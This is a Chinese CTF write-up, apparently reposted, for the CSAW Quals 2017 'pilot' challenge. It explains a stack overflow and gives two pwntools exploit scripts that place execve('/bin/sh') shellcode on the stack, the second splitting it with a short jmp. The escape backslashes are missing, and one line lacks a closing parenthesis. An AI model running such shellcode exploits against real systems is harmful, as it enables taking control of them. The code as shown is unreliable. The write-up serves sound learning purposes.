概述
Linux pwn入门教程(2)——shellcode的使用,原理与变形
0x01 解题思路
-
查看文件信息并试运行
-
没有开保护,显示有RWX段。shellcode必须在具有R和X属性的内存空间上才能执行;
-
执行时输出了一个地址0x7ffd426b9ca0;
-
有用户输入点。
-
-
拖入IDA 64bits,F5查看
main
-
如图所示,红框处分别为输出地址和读取用户输入的伪代码,输出的地址应该是用户输入在栈上的地址&buf。read函数显然存在栈溢出漏洞。
-
测试一下溢出地址并计算偏移量
可以看出输出地址的确是用户输入的地址,而输入点距离RIP的偏移量是40。 -
由此可以将shellcode放在用户输入的开头,然后将RIP覆盖为程序输出的地址,这样理论上是可以执行shellcode的。初步EXP:
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) #context.log_level = 'debug' #io = remote('172.17.0.3', 10001) io = process('./pilot') shellcode = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50x57x48x89xe6xb0x3bx0fx05" #xor rdx, rdx #mov rbx, 0x68732f6e69622f2f #shr rbx, 0x8 #push rbx #mov rdi, rsp #push rax #push rdi #mov rsi, rsp #mov al, 0x3b #syscall print io.recvuntil("Location:") shellcode_address_at_stack = int(io.recv()[0:14], 16) log.info("Leak stack address = %x", shellcode_address_at_stack) payload = "" payload += shellcode payload += "x90"*(0x28-len(shellcode)) payload += p64(shellcode_address_at_stack) io.send(payload) io.interactive()
-
执行之后发现脚本有错
-
在main函数的返回指令处下断点,在脚本中加入gdb的attach语句从而与脚本交互调试
-
断下后,可以看到shellcode的确放置在预想的位置,接着单步执行试试
-
单步执行发现,push rdi指令之后的shellcode被覆盖了无法执行
-
这时想到允许输入的字符串长度是0x40=64,输入到RIP的距离是40,而剩余的shellcode长度比24字节小的多,所以可以把shellcode分为两部分,不会被覆盖的放在原处,会被覆盖的放在RIP后面的位置。但是这样就需要一条跳转指令把两步分连接起来执行。除了无条件跳转指令jmp外,其余的跳转指令均会改变寄存器状态。刚好此代码中就有一条jmp指令:
HEX视图:
-
这是jmp短跳转执行,操作码为EB,05是jmp之后的第一条指令到跳转点的距离。shellcode1的末尾与shellcode2的开头之间的偏移量是40 - 22 - 2 + 8 = 24 = 0x18,故需要构造的指令为’xEBx18’
-
payload组成:
- shellcode1(至 push %rax +
jmp 0x18
指令) - padding ( 0x10 Bytes)
- shellcode_address_at_stack(shellcode1地址)
- shellcode2(push %rdi 至 syscall)
- shellcode1(至 push %rax +
0x02 EXP
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
#context.log_level = 'debug'
#io = remote('172.17.0.3', 10001)
io = process('./pilot')
shellcode = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50x57x48x89xe6xb0x3bx0fx05"
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
shellcode1 = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50"
shellcode1 += "xebx18"
shellcode2 = "x57x48x89xe6xb0x3bx0fx05"
print io.recvuntil("Location:")
shellcode_address_at_stack = int(io.recv()[0:14], 16
log.info("Leak stack address = %x", shellcode_address_at_stack)
payload = ""
payload += shellcode1
payload += "x90"*(0x28-len(shellcode1))
payload += p64(shellcode_address_at_stack)
payload += shellcode2
#gdb.attach(io, 'b *0x400AE5')
#pause()
io.send(payload)
io.interactive()
最后
以上就是合适毛衣为你收集整理的【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot的全部内容,希望文章能够帮你解决【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复